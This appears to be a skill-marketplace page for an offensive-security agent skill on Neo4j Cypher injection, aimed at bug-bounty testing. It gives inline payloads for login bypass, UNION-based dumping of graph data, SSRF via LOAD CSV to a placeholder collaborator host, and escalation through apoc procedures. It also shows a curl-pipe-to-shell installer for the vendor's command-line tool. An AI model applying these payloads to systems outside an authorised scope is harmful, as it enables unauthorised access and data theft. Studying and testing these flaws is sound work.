web-cypher-injection
Inject into Neo4j Cypher queries to bypass auth, exfiltrate graph data, and reach SSRF/RCE. Load when user input reaches a Cypher query (Neo4j-backed app, GraphQL/REST over a graph DB) — a login, search, or filter that builds `MATCH (n {prop:'<input>'})`. Signals: Neo4j/Bolt (7687), `MATCH`/ `RETURN
v2026.10.14-ee0e0c53 installazioni+3 in 7 giorni27 StelleMITsincronizzato 22 ore fa
Installa
Non hai ancora la CLI di NotHoly? Installala prima.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install noorqureshi/web-cypher-injectionScrive in ~/.notholy/skills dopo aver controllato la firma e lo SHA-256.
FirmaFirmato, ed25519
Pacchettof2caa4df…536c1fed
f2caa4df3035…f584536c1fed1 file · 1.8 KBScansioneBasso1 segnalazione
- Link a domini esterni
Sorgentegithub.com/NoorQureshi/security-skills/tree/main/skills/web/web-cypher-injection@ee0e0c5
Questa voce non è ancora scritta in italiano, quindi è mostrata in un'altra lingua: English.
In questa pagina
When it applies
An app builds a Neo4j Cypher query by concatenating user input — a login
(MATCH (u {name:'<in>', pass:'<in>'})), a search, or a filter. Like SQLi, mixing input into the
query language lets you change its meaning: bypass auth, read arbitrary nodes, or pivot to SSRF/RCE
via Cypher's data-loading and (mis)installed apoc procedures.
Why it works
Cypher is a query language with the same code/data confusion as SQL, plus graph-specific power:
UNION across labels, LOAD CSV FROM <url> (server-side fetch = SSRF), and — if apoc is present
and permissive — apoc.load.* / dbms.* that can reach the network or the OS.
Method
- Detect. Break the string context with
'and watch for a Cypher error (Neo.ClientError...,Invalid input). Try a self-true/false pair in a filter to confirm the input reaches the query. - Auth bypass / logic. Close the intended clause and inject your own predicate, e.g. a login
nameof' OR 1=1 RETURN u //or'}) RETURN u; //to return a user regardless of password (exact shape depends on the surrounding query — leak it first via errors). - Exfiltrate with UNION. Append
UNION MATCH (x) RETURN x(or target specific labels/props) to dump nodes beyond the intended result — enumerate labels/keys withdb.labels(),db.propertyKeys()where reachable. - SSRF via LOAD CSV.
... LOAD CSV FROM 'http://<your-collab>/' AS l RETURN lmakes the DB server fetch your URL — internal-service reach and blind confirmation via out-of-band callback. - APOC (if present) → deeper SSRF/RCE.
apoc.load.json('http://internal/...'),apoc.load.jdbc(...), or (badly configured) procedures that run OS/network actions. Treat anyapoc.*you can call as a strong escalation lead.
Gotchas
- Leak the surrounding query first (via errors) — the right break-out (
','},'})) depends on whether input is inside a property map, aWHERE, or a string literal. - Comment syntax is
//(to end of line) — use it to discard the rest of the app's query. LOAD CSV/apocmay be disabled — a blocked call is not proof of "not injectable"; the UNION/auth-bypass path can still work.- Confirm SSRF out-of-band (
web-ssrf) before claiming it; validate withreporting-triage-validation.
Verify success
Data or behavior you shouldn't get: an auth bypass returning another user, nodes from an
unintended label via UNION, or an out-of-band callback proving LOAD CSV/apoc SSRF.
References
Neo4j Cypher manual (LOAD CSV, apoc); OWASP injection; CWE-943 (query-language injection).
Related: web-sqli, web-ssrf, api-mongo-agg-facet-bypass.
File di questa versione
- SKILL.md3.3 KB
Permessi
| Permesso | Dichiarato | Trovato dalla scansione |
|---|---|---|
| Legge file | No | No |
| Scrive file | No | No |
| Esegue comandi shell | No | No |
| Usa la rete | Sì | Sì |
| Usa i connettori | No | No |
| Controlla un browser | No | No |
Segnalazioni della scansione
Rivisto il 13 nov 2026
- InfoLink · Link a domini esterni
Una scansione pulita abbassa il rischio, ma non prova che il pacchetto sia sicuro. Leggi quello che installi.
| Versione | Pubblicata | Commit | SHA-256 | Firma | Cambio di permessi |
|---|---|---|---|---|---|
| v2026.10.14-ee0e0c5 | 13 nov 2026 | ee0e0c5 | f2caa4df | Firmata | – |
Altro da NoorQureshi
Tutto da questo editoreAltro in Web e bug bounty
Vai alla categoria- src-hunterzhaoxuya520/src-hunter5
- owasp-top10-analysissecurityskills/owasp-top10-analysis5
- testing-for-xml-injection-vulnerabilitiesmukul975/testing-for-xml-injection-vulnerabilities5
- offensive-xsssnailsploit/offensive-xss5
- offensive-rcesnailsploit/offensive-rce5
- source-review-techniqueaeondave/source-review-technique5
Chiedi tutto quello che il tuo perimetro consente.
Crea un account, aggiungi crediti e fai la prima domanda in chat o nel terminale.
- 1/3
Crea l'account
Privato o azienda. Puoi passare ad azienda in seguito senza perdere saldo o chiavi.
PrivatoAzienda - 2/3
Aggiungi crediti
Con carta. Paghi a token, senza abbonamento.
$5.00ricarica minima - 3/3
Chiedi
In chat, oppure installa la CLI ed esegui notholy login nel terminale.
$ notholy login